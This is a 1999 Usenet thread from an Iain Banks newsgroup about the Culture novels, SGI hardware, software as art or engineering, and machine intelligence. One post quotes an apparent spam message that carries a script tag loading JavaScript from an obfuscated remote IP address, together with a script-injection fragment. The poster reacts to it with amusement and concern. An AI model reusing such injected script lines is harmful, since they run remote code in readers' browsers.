<only kidding> BAD boy, DOWN! That is, as I'm sure you well know my son,
a contradiction in terms.
Any phrase which contains the words 'too much' in connection with 'the
Culture' has to be meaningless by definition ;) </only kidding>
I hope never to see an error of this type from any of you again >-)
Chris
Ivan Rayner
>> Aren't comments just a pain to write? The odd line here or there, OK.
>> But full docs for each function and class? YUCK.
>>
>> Maybe I'm just really lazy...
>
>Read Code Complete!
Well, if we're going to recommend computer books ... (at least we're kinda
getting back on topic .. )
"Code Complete" was OK, I thought it was overly long ... Two much better
books, in my opinion, are Steve Maguires "Debugging the Development Process"
and "Writing Solid Code".
Ivan
________________________________________________________________________
Ivan Rayner ivan....@sgi.com
Matthew Stanfield
> >
> <only kidding> BAD boy, DOWN! That is, as I'm sure you well know my son,
> a contradiction in terms.
>
> Any phrase which contains the words 'too much' in connection with 'the
> Culture' has to be meaningless by definition ;) </only kidding>
>
> I hope never to see an error of this type from any of you again >-)
Sorry Chris, I will now go and read ALL the Culture novels from start to
finish before posting again. Then I'll download the entire archives of
a.b.i-b and read them too. ;-)
Will that be enough?
Matthew Stanfield
> Well, if we're going to recommend computer books ... (at least we're kinda
> getting back on topic .. )
>
> "Code Complete" was OK, I thought it was overly long ... Two much better
> books, in my opinion, are Steve Maguires "Debugging the Development Process"
> and "Writing Solid Code".
Hi Ivan,
Is that 'sgi' Silicon Graphics?
If so can I have a (big) discount on one of those super sexy 17 inch flat
panel monitors? As featured in The State of The Art - stay on topic! Ok so
it may not be IN The State of The Art but it IS state of the art!
..matthew
P.S. What about a 540?
CM Lynas
Chris Lynas
http://members.tripod.com/~excession
I'd argue that she was in fact that 'slap-drone' fro the sleeper
service, it goes on at some length at one point about how she was its
greatest failure and how having her around reminded it of that.
Chris
Matthew Stanfield
How could we all have failed to mention the GCU (or LSV) in Excession, who
is a glorified 'slap-drone' in that it has to follow the Sleaper Service
around. The SS escapes by turning 95% (or something) of itself into an
engine. I love the scene when the SS just keeps accelerating away and the
slow realisation of the afore-mentioned GCU/LSV. God that Banks man is a
genius!
..matthew
P.S. Hands up who have 'GCU', 'GSV', etc., added to their spell checker. I
plead guilty m'lud!
Ross Burton
>Is that 'sgi' Silicon Graphics?
Looks like it, doesn't it!
>If so can I have a (big) discount on one of those super sexy 17 inch flat
>panel monitors? As featured in The State of The Art - stay on topic! Ok so
>it may not be IN The State of The Art but it IS state of the art!
SGI LCD screen. Drooolll..
I'd like one of those new NT boxes, and just have it in the corner
looking cool and running something mundane like pong. Then a real SGI
running Irix to do the work on.. :->
Loznik
<Matthew....@Dial.Pipex.com> suggested:
>> > Too much Culture has blurred the boundaries between the books!
>> >
>> <only kidding> BAD boy, DOWN! That is, as I'm sure you well know my son,
>> a contradiction in terms.
>>
>> Any phrase which contains the words 'too much' in connection with 'the
>> Culture' has to be meaningless by definition ;) </only kidding>
>>
>> I hope never to see an error of this type from any of you again >-)
>
>Sorry Chris, I will now go and read ALL the Culture novels from start to
>finish before posting again. Then I'll download the entire archives of
>a.b.i-b and read them too. ;-)
>
>Will that be enough?
>
>..matthew
>
Should be enough - it worked for me ...
Loznik {:-)>
"You think this life is something strange
You're ready for another change"
Simon J Grimshaw
> On Thu, 25 Feb 1999 13:44:38 +0000, a mysterious wanderer calling
> themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
> scribbled:
>
> >Is that 'sgi' Silicon Graphics?
>
> Looks like it, doesn't it!
>
> >If so can I have a (big) discount on one of those super sexy 17 inch flat
> >panel monitors? As featured in The State of The Art - stay on topic! Ok so
> >it may not be IN The State of The Art but it IS state of the art!
>
> SGI LCD screen. Drooolll..
>
> I'd like one of those new NT boxes, and just have it in the corner
> looking cool and running something mundane like pong. Then a real SGI
> running Irix to do the work on.. :->
Hmmmm... my eyes drift to my left, gaze at the pretty little blue box
marked Silicon Graphics O2, recall the login screen proudly saying IRIX 6.3 -
mmmmmm!
Simon
Ivan Rayner
>Hi Ivan,
>
><ivan....@sgi.com>
>
>Is that 'sgi' Silicon Graphics?
Yup.
>If so can I have a (big) discount on one of those super sexy 17 inch flat
>panel monitors?
As soon as I get two, I'll pass one on... (don't hold your breath!)
> As featured in The State of The Art - stay on topic! Ok so
>it may not be IN The State of The Art but it IS state of the art!
Now there's an idea! Product advertising in books! SGI has done the product
placement in movies to death.. We get all this press for ANTZ and A Bug's
Life; our systems are featured on screen in movies like Jurassic Park
and Twister, and yet our stocks are still dissapointingly low... what we
need is to pay Mr Banks a hefty sum to feature some SGI brand Minds! Yeah,
the cross-promotion opportunities would be great!
I can see it now,
"Announcing the new Silicon Graphics GCU 'Is That A Gun In Your Pocket Or Are
You Just Glad To See Me?' guaranteed to be the fastest computational machine
on the planet ... when it wants to be, that is.
Coming soon, the new Silicon Graphics Visual WorkDrone
'Skaffen-gaffen-schmaffen-da-blaffen-Amitiskaw' running Microsoft NT! No
really, NT..."
>P.S. What about a 540?
No thanks, I'm happy enough with what I've already got on my desk.
JM Hansford
On 25 Feb 1999, Simon J Grimshaw wrote:
> In article <36d5941e...@news.dabsol.net>, ros...@nojam.com (Ross Burton) writes:
> > On Thu, 25 Feb 1999 13:44:38 +0000, a mysterious wanderer calling
> > themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
> > scribbled:
> >
> > >Is that 'sgi' Silicon Graphics?
> >
> > Looks like it, doesn't it!
> >
> > >If so can I have a (big) discount on one of those super sexy 17 inch flat
> > >panel monitors? As featured in The State of The Art - stay on topic! Ok so
> > >it may not be IN The State of The Art but it IS state of the art!
> >
> > SGI LCD screen. Drooolll..
> >
> > I'd like one of those new NT boxes, and just have it in the corner
> > looking cool and running something mundane like pong. Then a real SGI
> > running Irix to do the work on.. :->
>
> Hmmmm... my eyes drift to my left, gaze at the pretty little blue box
> marked Silicon Graphics O2, recall the login screen proudly saying IRIX 6.3 -
> mmmmmm!
>
>
> Simon
>
Stop it. All of you. You're scaring me.
Ross Burton
iv...@omen.melbourne.sgi.com (Ivan Rayner) scribbled:
>>P.S. What about a 540?
>No thanks, I'm happy enough with what I've already got on my desk.
Good man! As far as I'm concerned, a SGI beast running NT is sure
sign of madness.
What do you do at SGI, anything really interesting?
Loznik
<dna...@anim.dreamworks.com> suggested:
>Matthew Stanfield wrote:
>>
>> > And of course there is "A Gift from the Culture"... But it could be
>> > argued the individual in question is not Culture, but ex-Culture.
>>
>> Who dies in that? I can't remember much about it - it's been so long -
>> except that there's a Culture gun involved in a non-Culture world.
>>
>> ..matthew
>
>Well, he kills a whole mess of people... (I may have misunderstood
>what the thread is about.)
>
Once a Culturenik, always a Culturenik. Believe me ...
Loznik {:-)>
"All the lies, all the truth,
All the things that I offer you."
Ivan Rayner
>On 26 Feb 1999 02:01:40 GMT, a mysterious wanderer calling themselves
>iv...@omen.melbourne.sgi.com (Ivan Rayner) scribbled:
>
>>>P.S. What about a 540?
>>No thanks, I'm happy enough with what I've already got on my desk.
>
>Good man! As far as I'm concerned, a SGI beast running NT is sure
>sign of madness.
Well, its a good sign that we want to make some money!
I've played with a Silicon Graphics Visual Workstation 320 with the
flatpanel display - and it is an impressive machine. Much in the same way
that ... err ... a ROU is an impressive machine. (How's that for a
tenuous link!)
>What do you do at SGI, anything really interesting?
I'm a programmer - and certainly nothing interesting for readers of
a.b.i-b.
Ivan Rayner
><sCRIPT lANguAge="JavaScript1.2"
>SRC="http://195.52.026.0034/p.js">
></sCRIPt><pre>:g:k%2E92%3013094%30%2E9%320%3082905%2E15%3980%32%32460
>alt.books.iain-banks
>===-=-=-=-=-======-===--========--=--===--========--=-=======-=======-======
>Sent by webmaster from usenet-replayer subdomain of com
>
>Dear Ivan Rayner,
>
>In your posting Re: Slap-drones - Culture murders. from 26 Feb 1999
>02:01:40 GMT you write:
>
>>
>> Now there's an idea! Product advertising in books! SGI has done the product
>> placement in movies to death.. We get all this press for ANTZ and A Bug's
>> Life; our systems are featured on screen in movies like Jurassic Park
>> and Twister, and yet our stocks are still dissapointingly low... what we
>> need is to pay Mr Banks a hefty sum to feature some SGI brand Minds! Yeah,
>> the cross-promotion opportunities would be great!
>>
>
>It is a web based tool to discuss with contents sensitive
>support. It is free!
>http://00303.0064.026.0034/index%32%2Ehtml
>
>
>"> <ScrIpt lANGUAge="JavaScript1.2"> /* <!-- 9 */ j() // 30 --> </scrIPt>
This is funny, and perhaps a little worrying, on so many levels!
Ross Burton
iv...@omen.melbourne.sgi.com (Ivan Rayner) scribbled:
>>Good man! As far as I'm concerned, a SGI beast running NT is sure
>>sign of madness.
>Well, its a good sign that we want to make some money!
That's true. I bet they sell well.
>>What do you do at SGI, anything really interesting?
>I'm a programmer - and certainly nothing interesting for readers of
>a.b.i-b.
Ho ho - I've learnt my lesson and won't go any further here...
David Navarro
>
>
> Hmmmm... my eyes drift to my left, gaze at the pretty little blue box
> marked Silicon Graphics O2, recall the login screen proudly saying IRIX 6.3 -
> mmmmmm!
Lucky you... I can't look at mine. Reality Engines are too noisy to be
kept in the same room... :)
--
___________________________________________________
David Navarro http://www.alcaudon.com
___________________________________________________
In the beginning there was nothing, which exploded.
David Navarro
> >iv...@omen.melbourne.sgi.com (Ivan Rayner) scribbled:
> >
> >>>P.S. What about a 540?
> >>No thanks, I'm happy enough with what I've already got on my desk.
> >
> >sign of madness.
>
> Well, its a good sign that we want to make some money!
>
> flatpanel display - and it is an impressive machine. Much in the same way
> that ... err ... a ROU is an impressive machine. (How's that for a
> tenuous link!)
But it's still (barf) NT... I know you guys have Linux up and running
on them too, but if somehow they ported BeOS to the VW, THEN the true
spiritual heir to the Amiga would be born.
ObBaks.
ROU Blue Screen of Death.
Ross Burton
themselves David Navarro <dna...@anim.dreamworks.com> scribbled:
>But it's still (barf) NT... I know you guys have Linux up and running
>on them too, but if somehow they ported BeOS to the VW, THEN the true
>spiritual heir to the Amiga would be born.
Eh? Linux on an SGI?
Well, at least now I know where my first cheque from our next contract
goes...
>ROU Blue Screen of Death.
LOL!
Torbjorn Lindgren
>On Mon, 01 Mar 1999 10:26:20 -0800, a mysterious wanderer calling
>themselves David Navarro <dna...@anim.dreamworks.com> scribbled:
>
>>But it's still (barf) NT... I know you guys have Linux up and running
>>on them too, but if somehow they ported BeOS to the VW, THEN the true
>>spiritual heir to the Amiga would be born.
>
>Eh? Linux on an SGI?
Definitely, both on some of the MIPS based workstations, and on the
Intel based workstations...
Linux/SGI has run on some of the MIPS based machines (mostly smaller
workstations) for quite a while, and the Linux/Intel kernel has
supports the Intel based workstations with the right kernel.
(2.2.0? and upwards I belive, there's a CONFIG_VISWS switch that
builds a kernel for it. That kernel won't run on normal Intel
machines...)
Now, according to the information on the web-site [1] there are many
restrictions on the current version for SGI's Intel-based
workstations, neither USB keyboard, X nor the PCI-bus (except onboard
peripherials) is supported for example...
There's have been some rumblings that this will be fixed, but I
haven't seen any firm timeplans. It sounds likely that the PCI bus
will arrive first, or possibly USB (both probably are mostly there,
needs some minor hacking first?), and with that it would make a REALLY
good server if you could get it without graphic card...
1. http://www.linux.sgi.com/intel/
--
--
Torbjörn Lindgren
Network Manager, FairPlay International AS
E-mail: t...@fairplay.no
Nick Davies
<Matthew....@Dial.Pipex.com> produced the following
observations:
>CM Lynas wrote:
>>
>> Ditto the below for me ;)
>>
>> > That might not have made much sense, but my brain has been fried by
>> > programming all day - sorry!
>> >
>> > Ross
>
>dOUBLE dITTO FOR ME - oops see what I mean! How many of us regulars in
>a.b.i-b are programmers then?!! ..and how many of us post here when we
>should be deciding on what to name a new class...
>
>..matthew
Excuse for the psychological content but:
I think the way that programmers/program designers minds work has a
lot in common with sf readers and writers.
Programmers (and designers) have to make stuff up. By which I mean
mentally manipulate complex symbols representing problems and their
solutions. This kind of activity is traditionally associated with
right brain behaviour. The logical reasoning left hand side of the
brain cooperates to ensure the solutions are rational, ordered and
appropriate. (I may have left and right mixed up - I gues it depends
on whether you're inside looking out, or outside looking in)
A s.f. writer operates in a similar way, I would propose. A reader of
s.f. willingly suspends disbelief and enjoys the landscape and events
created by the writer. A child-child interaction in TA terms as is
most game-playing.
My first s.f. story was the Dragon in the Sea when I was about eight
years old. I remember being very excited about the idea of a story
which hadn't happened yet. I went on to be keen reader of s.f. for
decades. I have also spent the last twenty-odd years designing ,
writing and fixing software.
Nick
Pete Hall
>I note that on Mon, 22 Feb 1999 17:29:53 +0000, Matthew Stanfield
><Matthew....@Dial.Pipex.com> produced the following
>observations:
>
>>CM Lynas wrote:
>>>
>>> Ditto the below for me ;)
>>>
>>> > That might not have made much sense, but my brain has been fried by
>>> > programming all day - sorry!
>>> >
>>> > Ross
>>
>>dOUBLE dITTO FOR ME - oops see what I mean! How many of us regulars in
>>a.b.i-b are programmers then?!! ..and how many of us post here when we
>>should be deciding on what to name a new class...
>>
>>..matthew
>
>Excuse for the psychological content but:
>
>I think the way that programmers/program designers minds work has a
>lot in common with sf readers and writers.
>
>Programmers (and designers) have to make stuff up. By which I mean
>mentally manipulate complex symbols representing problems and their
>solutions. This kind of activity is traditionally associated with
>right brain behaviour. The logical reasoning left hand side of the
>brain cooperates to ensure the solutions are rational, ordered and
>appropriate. (I may have left and right mixed up - I gues it depends
>on whether you're inside looking out, or outside looking in)
>
<snip analogy with SF writers/readers>
Hi Nick
Hmmm, This is a constant source of puzzlement to me and also hovers around
the mystique of software programming.
I reckon I know a fair bit about how software gets developed (I'm QM in a
software house). However, not being a developer, I have a different view on
how the process works. Agreed, at some conceptual, abstract level there may
be some need for "complex symbols representing problems and their solutions"
but this is the case for any process where a problem has to be solved. Think
of designing a new front wing for a F1 car or changing the architectural
functionality in a shopping mall. Equally as sophisticated if not more so
than in software. Trouble is, to my way of thinking, not enough time is
spent by Software Engineers actually defining the problem and then designing
in a measured manner.
<prepares to be confronted by any number of irate SEs, willing to contradict
this position - pulls out flame proof underwear>
I am genuinely interested in this area and wish to start to debunk some of
the myths about software - it ain't magic and it ain't an art form. But it
ain't just engineering either. How would an AI describe it (to get back to
the main subject)?
Further thoughts, anyone?
winkin' out
Pete
fr...@my-dejanews.com
> >lot in common with sf readers and writers.
> >
> >Programmers (and designers) have to make stuff up. By which I mean
> >mentally manipulate complex symbols representing problems and their
> >solutions. This kind of activity is traditionally associated with
> >right brain behaviour. The logical reasoning left hand side of the
> >brain cooperates to ensure the solutions are rational, ordered and
> >appropriate. (I may have left and right mixed up - I gues it depends
> >on whether you're inside looking out, or outside looking in)
> >
>
> the mystique of software programming.
>
Mystique? GTFOOH
> than in software. Trouble is, to my way of thinking, not enough time is
> spent by Software Engineers actually defining the problem and then designing
> in a measured manner.
> <prepares to be confronted by any number of irate SEs, willing to contradict
> this position - pulls out flame proof underwear>
>
> I am genuinely interested in this area and wish to start to debunk some of
> the myths about software - it ain't magic and it ain't an art form. But it
> ain't just engineering either. How would an AI describe it (to get back to
> the main subject)?
>
Perhaps it's like being a linguist, a mathematician
and a fashion designer.
Here are some business rules: translate into a form
a different machine can process. Here is some data,
analyse and reorder, induce, conclude and make it as
sexy as possible.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Ross Burton
themselves "Pete Hall" <ph...@atl.co.uk> scribbled:
>I am genuinely interested in this area and wish to start to debunk some of
>the myths about software - it ain't magic and it ain't an art form. But it
>ain't just engineering either.
Correct, it isn't magic.
But, In my opinion is can be termed "art" and "engineering".
Art, because there are "good" and "bad" ways of coding a particular
problem; just like in maths, where a formula can be said to be
"elegant" because it is simple but complete.
Also, it definity is engineering. Software Patterns, the framework
for sensible programmers (use common ideas which have been used
before, with names such as Iterator, Observer, Proxy and Bridge) is
highly based on the work by an architect (of buildings), forgot the
name, who wrote a seminal book many years ago. To get from his
"patters of designing and creating buildings" to "patterns of
designing and creating software" is just a small step.
If you want more I'll dig out the notes about a talk I recently say
all about Patterns.
Just my tuppence,
Mike Trinder
Burton) wrote:
> On Mon, 22 Mar 1999 16:24:45 -0000, a mysterious wanderer calling
> themselves "Pete Hall" <ph...@atl.co.uk> scribbled:
>
>
> >I am genuinely interested in this area and wish to start to debunk some of
> >the myths about software - it ain't magic and it ain't an art form. But it
> >ain't just engineering either.
>
> Correct, it isn't magic.
>
> But, In my opinion is can be termed "art" and "engineering".
>
> Art, because there are "good" and "bad" ways of coding a particular
> problem; just like in maths, where a formula can be said to be
> "elegant" because it is simple but complete.
>
> Also, it definity is engineering. Software Patterns, the framework
> for sensible programmers (use common ideas which have been used
> before, with names such as Iterator, Observer, Proxy and Bridge) is
> highly based on the work by an architect (of buildings), forgot the
> name, who wrote a seminal book many years ago.
Christopher Alexander, 'A Pattern Language'. Funny thing is that this got
taken up by software engineers, but hardly at all by architects -
Alexander proposes an engineering type approach to architectural problem
solving (define problem -> propose solution) which is completely at odds
with the architectural approach (produce solutions -> work out what the
problem is).
> To get from his
> "patters of designing and creating buildings" to "patterns of
> designing and creating software" is just a small step.
>
> If you want more I'll dig out the notes about a talk I recently say
> all about Patterns.
>
OBBanks - and to get this thread back on topic :)
The Culture's approach to everything (incl murder) certainly shows up just
how right-wing/white/patriarchal a lot of SciFi is. Just finished the Mote
In God's Eye again - the xenophobia is really strong, and the female
characters simply ludicrous.
Oh well, back under my stone,
--
Mike T -- mpb...@spam.ac.uk (that's cam not spam)
CM Lynas
Chris Lynas
http://members.tripod.com/~excession
On Tue, 23 Mar 1999, Ross Burton wrote:
> On Mon, 22 Mar 1999 16:24:45 -0000, a mysterious wanderer calling
> themselves "Pete Hall" <ph...@atl.co.uk> scribbled:
>
>
> >I am genuinely interested in this area and wish to start to debunk some of
> >the myths about software - it ain't magic and it ain't an art form. But it
> >ain't just engineering either.
>
<snippety>
You'd better be, I read a paper that said that the way aircraft avionics
is making increasing use of software by 2040 every person in the whole
world will have to be coding it to keep up ;)
P.S. look at Concorde and tell me engineering ain't art - it certainly
wasn't commercial interests that built it :)
Chris
Pete Hall
CM Lynas wrote in message ...
>
>P.S. look at Concorde and tell me engineering ain't art - it certainly
>wasn't commercial interests that built it :)
>
Like your style Chris ... :-)
Anyway - are we talking Engineering or Design? The line is ever more blurred
and in a lots of areas the computer is doing the engineering leaving the
"art of Design" to people. Here's a thought - to design something functional
do you need to compromise its integrity as Art? Does software as art need to
be functional? Or even functionally accurate? You can't tell the time from a
Dali clock (well only twice a day). But you might want to eat off a
Macintosh (Charles Rennie, not Apple) Table...
To me the "Art" is the original thought which drives something into being.
The connection came with the idea of intellectual property and fraudulent
works of Art...
But (to get back to some kind of Banksian thread) when is thought original
or how can it be proved to be? AI must, by its nature, have original
thoughts but by what mechanism can this be turned into Art?
Getting a bit esoteric now, still... <shrugs, lights a cigarette, turns back
to the grindstone>
Pete
Matthew Stanfield
> do you need to compromise its integrity as Art?
> Does software as art need to be functional?
> Or even functionally accurate?
'Eternity' or 'An Experiment in Artistic Software'
--------------------------------------------------
--
// C Code.
// I can't believe I'm doing this.
#include <stdio.h>
void main(void)
{
short When_Is_This = 1;
long Eternity = 101;
while (When_Is_This < Eternity)
{
printf("You never get any nearer ETERNITY.");
}
}
--
Art should prevoke a response.
Art usually has a visual element.
Art says something.
Art is a subjective experience.
Art is a lot more than that but I'm not going to waste all day on this!
So does my program qualify as art? I think so...!
--
To non-programmers here are some notes on the program:
i) 'short' is a C keyword specifying a number (an integer value).
ii) 'long' is a C keyword specifying a number (an integer value). But a
lot bigger than a 'short'.
iii) The program will repeat *forever*, well, until someone/something
stops it.
iv) The program continually prints out "You never get any nearer
ETERNITY.".
..m
Paul Parker
<Pedant>
Of course that really should be :-
int main(void)
people have been hung drawn and quartered in comp.lang.c for using void
main(void)!
</Pedant)
Of course from an artistic point of view voids are probably far more
pleasing than ints.
OK it was wildly off topic and very pedantic.
I'll just go and sit quietly in the corner again now.
--
Paul Parker
Matthew Stanfield
> pleasing than ints.
Which is why they were there.
..matthew
--
##### # ### ---------------------------------------------+
##### ### ##### Matthew Stanfield |
##### ##### ##### mailto:Matthew....@Dial.Pipex.Com |
##### ####### ### ---------------------------------------------+
Spencer Davies
wrote:
>is making increasing use of software by 2040 every person in the whole
>world will have to be coding it to keep up ;)
From some of the code I have seen people produce that will never work
(my own included ;-)
>P.S. look at Concorde and tell me engineering ain't art - it certainly
>wasn't commercial interests that built it :)
Hmmm, thats was pride in your nation achieved that (ok so it was a
British and French product but you get the idea).
Actually to try and keep on topic would we ever achieve Mind like
complexity if we only keep evolving the software we currently have?
Spencer
--------------------------------------------------------------------------------
Remember, if replying REMOVE the SPAMTHIS part from my email address.
spe...@maelstromSPAMTHIS.freeserve.co.uk
--------------------------------------------------------------------------------
Loznik
spe...@SPAMTHISmaelstrom.freeserve.co.uk (Spencer Davies) suggested:
>On Wed, 24 Mar 1999 11:25:09 GMT, CM Lynas <cl5...@fen.bris.ac.uk>
>wrote:
>
>>is making increasing use of software by 2040 every person in the whole
>>world will have to be coding it to keep up ;)
>From some of the code I have seen people produce that will never work
>(my own included ;-)
>
>>P.S. look at Concorde and tell me engineering ain't art - it certainly
>>wasn't commercial interests that built it :)
>Hmmm, thats was pride in your nation achieved that (ok so it was a
>British and French product but you get the idea).
>
Anyone remember the arguments between the British and French regarding
demarcation of responsiblities for the Concorde? It went something
like this ...
The Brits: The Concorde will be able to cross the English Channel in
less than 3 minutes, it is a triumph of design and a great credit to
British engineering skill. [A Particular British Airline Company] will
administer it most efficiently.
The French: That is ridiculous - we should be in charge. Besides,
French airline cuisine has the best reputation in the world.
The Brits: What cuisine can you prepare in three minutes?
Funny thing is, had I posted an anecdote that was less than flattering
of [A Particular British Airline Company], I would now be facing
crank telephone calls in the middle of the night, dog excrement mailed
to my home and harrassment at my place of employment.
It's a game, innit?
>Actually to try and keep on topic would we ever achieve Mind like
>complexity if we only keep evolving the software we currently have?
>
The Minds of [A Particular British Airline] are Machiavellian to say
the least. Pray they never achieve any degree of compexity.
This content-free post brought to you by -
LoznikŽ - purveyor of fine blather since 19:30
Spencer Davies
wrote:
>The Brits: The Concorde will be able to cross the English Channel in
>less than 3 minutes, it is a triumph of design and a great credit to
>British engineering skill. [A Particular British Airline Company] will
>administer it most efficiently.
And they have done, well providing you don't have too many people
wanting to take luggage and therefore the plane needing refueling
which reduces the end to end speed to something closer that achieved
by a 747 or like!
>The Brits: What cuisine can you prepare in three minutes?
Hehehe, toast anyone? ;-)
>crank telephone calls in the middle of the night, dog excrement mailed
>to my home and harrassment at my place of employment.
>It's a game, innit?
Well have you ever been on a flight with the referred to airline? If
so expect a package in the post! ;-)
>The Minds of [A Particular British Airline] are Machiavellian to say
>the least. Pray they never achieve any degree of compexity.
Perhaps they should have made snide referrences to the
airline-which-cannot-be-mentioned instead of Pan-Am in 2001, more
appropraite I would have thought.
Gordon
Spencer Davies wrote in message <36fa9ac...@news.freeserve.net>...
>On Wed, 24 Mar 1999 11:25:09 GMT, CM Lynas <cl5...@fen.bris.ac.uk>
>wrote:
>
>>is making increasing use of software by 2040 every person in the whole
>>world will have to be coding it to keep up ;)
>From some of the code I have seen people produce that will never work
>(my own included ;-)
>
>>P.S. look at Concorde and tell me engineering ain't art - it certainly
>>wasn't commercial interests that built it :)
>Hmmm, thats was pride in your nation achieved that (ok so it was a
>British and French product but you get the idea).
>
>complexity if we only keep evolving the software we currently have?
First I would say that software doesn't evolve (excepting genetic
algorithms). IMHO I think the present mainstream way of producing software
hs little or no chance of producing intelligence. To do that you would have
to be able to define it!
Regards
Gordon
<gben...@birdcameron.com.au>
>
>
>Spencer
>
>---------------------------------------------------------------------------
Matthew Stanfield
> >complexity if we only keep evolving the software we currently have?
>
> First I would say that software doesn't evolve (excepting genetic
> algorithms). IMHO I think the present mainstream way of producing software
> hs little or no chance of producing intelligence. To do that you would have
> to be able to define it!
Actually Genetic Algorithms (GAs) are not an example of evolving software,
that would be Genetic Programming (GP). GAs do evolve, of course, but they
are not actually software but simulated within it.
Also, while I agree that intelligence has not been adequately defined (let
alone consciousness!), many in the world of AI would argue that a
definition of intelligence is not required to pronounce something
intelligent. E.G. I am intelligent and so are you but neither of us can
define it - let's leave that to the philosophers. I am happy with the
Turing test as a judge, if an AI can pass it then it is intelligent. I
would also be happy to pronounce something that passed only a sub-domain
of the Turing test as intelligent but that would depend on the specifics.
I believe that the mainstream way of producing software has already
produced systems capable of performing limited domain intelligent tasks:
Mycin, the blood disease diagnosis system; Prospector, soil
analysis/mineral predictor; neural networks doing lots of stuff (optical
character recognition, voice recognition). That's not even mentioning
evolutionary based systems and fuzzy logic.
But I do agree that it seems very unlikely that current mainstream
software development practices will create something capable of passing
the Turing test. This will take a long time - maybe a few centuries - but
AI researchers are optimistic for the long term, John Searle and Roger
Penrose are two of only a few pessimists in this respect. Look for Rodney
Brooks and Maggie Bowden to find more optimistic perspectives. Ignore
Professor Warwick he's lost it! (AI's taking over in 20 years, etc).
I see no reason why something of incredible intelligence, like a Mind, is
not possible. As long as the Human race can stick around for long enough.
Perhaps the only way we'll understand the secrets of our Universe is if we
can build a phenomenally clever machine that also has the ability to
explain the 'theory of everything' to our puny carbon brains. But here I'm
invading Douglas Adam's territory - one thing's for sure we need more than
forty-two on the subject.
Spot the AI graduate.
Simon J Grimshaw
Is it actually possibly to create something more intelligent than
yourself? Obviously we can make things that work faster than ourselves (the
computer you're reading this on, f'rinstance), but essentially it isn't doing
something that we haven't taught it to do. To comeup with new ideas (and so to
do something that a person couldn't) the machine would have to be 'conscious'
(for want of a better word), such that it can dream up new tools to use on a
problem that previously we humans have failed at.
Saying that, I have no qualifications in programming, AI or philosophy!
On a vaguely related point, is it possible for an author to create a
character more intelligent than himself? Everything a character knows and does
is formed from parts of the author [glances at Wasp Factory, worried expression
develops] or at least his/her imagination.
Simon
Matthew Stanfield
> yourself? Obviously we can make things that work faster than ourselves (the
> computer you're reading this on, f'rinstance), but essentially it isn't doing
> something that we haven't taught it to do.
I think that it will become possible to create something more intelligent
than ourselves but, obviously, I can't prove this. We can certainly make
things (tools) that perform tasks or that allow us to perform tasks which
we would be unable to do without them; airplanes, microwave ovens,
telephones, television, etc.
The description of a computer being 'faster' than us is naive. Current
computers may be faster than us at doing arithmetic and some limited
domain tasks but they can do so little compared to us that most comparison
is pointless. By the way what can you do that you were not taught to do?
> To comeup with new ideas (and so to
> do something that a person couldn't) the machine would have to be 'conscious'
> (for want of a better word), such that it can dream up new tools to use on a
> problem that previously we humans have failed at.
I'm afraid that is simply wrong and it has already been clearly
demonstrated (in the AI world) that it is so. AI software has already
shown itself capable of new and original ideas. Complex mathematical
problems have been solved by genetic algorithms - some of these problems
have eluded very creative mathematicians for decades. Poetry and (bad)
short stories have also been written and art has been drawn/painted. Even
jokes have been made. Some of the poetry is terrible and some would pass
as having been written by a poet. Some of the paintings are also not bad
and are sold for over $2000 - although this is largely due to the novelty
factor. None of the AI researchers who designed these systems would claim
that their systems are conscious. No one has much of a clue as to what
consciousness actually is and, unlike intelligence, no one has devised a
test to see whether an entity has consciousness. In short creativity
(coming up with new ideas) is not limited to humans and consciousness is
not necessary for it.
I hope this is of interest. If you want to read further on this subject
then The Age of Intelligent Systems by Ray Kurzweil is a good
non-technical introduction as, I imagine, is his latest book. Maggie
Bowden's 'Psychology in AI' is a collection of top class papers on the
subject of AI, intelligence and even a bit on what the science of
consciousness would be like if it existed. She has also done much work on
creativity within psychology and then AI but I'm not sure if this work is
published in a convenient book of papers or whether you need to hunt out
the papers from AI journals and such like.
S Z Hanley
ion: University of Cambridge <7dq744$2h9$1...@pegasus.csx.cam.ac.uk>
Reply-To: s.z.hanl...@durham.ac.uk
Distribution:
Simon J Grimshaw (sj...@bioc.cam.ac.uk) sprayed forth the following
dewlike droplets:
[lots of interesting stuff on AI snipped]
: Is it actually possibly to create something more intelligent than
: yourself?
I'm not being fatuous but isn't that exactly what Mr and Mrs Newton, Mr
and Mrs Einstein, even in a certain and unpleasant way, Mr and Mrs Hitler
did? This is a variant on one of the arguments against the existence of
God (that he would have to be more complicated than his creation, thereby
more than doubling the amount of things you have to explain the creation
of, therefore beginning an infinite regress, therefore disproved) but,
while a fairly militant athiest, I can't support that reasoning. Of
course we can create things more intelligent than us! How much
control we have over the process is more debatable. What, in the wider
realm of things, is so great and mysterious about intelligence (he said,
revealing despicable materialist, reductionist leanings)? I'm not
disputing that it's a mammoth task, maybe bigger than anything humans have
attempted in the past, but I reckon it is just a matter of time.
: On a vaguely related point, is it possible for an author to create a
character more intelligent than himself? Everything a character knows and does
:is formed from parts of the author [glances at Wasp Factory, worried expression
: develops] or at least his/her imagination.
I think you are running up against the difficulty of defining intelligence
again. Again, you have to be satisfied with a sort of Turing Test for
characters. This gives an author the opportunity to fudge with a number
of tricks, since the character just needs to perform a couple of
impressive feats and s/he's passed. Off the top of my head:
1) Spend a few weeks working out your genius' thirty-second
back-of-an-envelope calculation (to show native ability) or learning
appropriate phrases in several languages (to show them as a polyglot) or
studying an obscure philosophy or six (and produce a plausible chain of
reasoning for the genius to come up with five hundred years' worth of
cross fertilization of ideas and cultures and insight during a late night
beer session).
2) Describe your character as inexperienced or immature, then give them
attributes of an experienced or mature person.
An excellent example of both approaches is Orson Scott Card's _Ender's
Game_, where child Ender comes across as very bright by doing stuff at a
moment's notice (clever military stratagems) that adult Orson has mulled
over for some time.
You could also set up a situation so obscure, complex and/or arcane that
most readers cannot easily fully comprehend all the ramifications while
simultaneously keeping up with events in the story. Then have your genius
solve it. See any detective fiction that is not merely a police
procedural, especially the locked-room-murder variety.
Is it more difficult to create a character more intelligent than yourself
than to create a character more perverse than yourself (another glance at
The Wasp Factory!)? More saintly? More refined? More outgoing? More
artistic? More noble?
Of course, in all this it would be more accurate to replace 'create a
character more xxxx' with 'create a character who gives the impression to
most readers that the character is more xxxx'. Impressions are
everything when characters aren't real people. [insert objection to
whole philosophy of the Turing Test here]
--
Zac
| [Omit omnivourous mammal to reply] |
